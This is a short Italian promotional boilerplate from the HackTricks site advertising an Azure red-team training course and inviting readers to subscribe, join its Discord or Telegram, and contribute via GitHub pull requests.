Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

